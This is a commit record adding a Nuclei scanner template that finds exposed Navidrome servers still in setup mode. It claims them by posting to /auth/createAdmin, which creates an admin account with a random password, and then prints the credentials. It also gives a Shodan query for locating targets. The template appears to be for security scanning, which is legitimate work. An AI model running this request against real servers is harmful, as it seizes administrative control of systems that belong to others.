Merge pull request #10819 from projectdiscovery/navidrome-admin-install

Create navidrome-admin-install.yaml
patch-12
Ritik Chaddha 2024-09-24 12:32:07 +04:00 committed by GitHub
commit 86abe029d1
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 44 additions and 0 deletions

View File

@ -0,0 +1,44 @@
id: navidrome-admin-install
info:
name: Navidrome Admin User Creation
author: DhiyaneshDK
severity: critical
metadata:
verified: true
max-request: 1
shodan-query: html:"content="Navidrome""
tags: navidrome,installer,misconfig,intrusive
variables:
username: "admin"
password: "{{to_lower(rand_text_alpha(8))}}"
http:
- raw:
- |
POST /auth/createAdmin HTTP/1.1
Host: {{Hostname}}
content-type: application/json
Origin: {{RootURL}}
Referer: {{RootURL}}/app/
{"username":"admin","password":"{{password}}"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"isAdmin":true'
- type: status
status:
- 200
extractors:
- type: dsl
dsl:
- '"USER: "+ username'
- '"PASS: "+ password'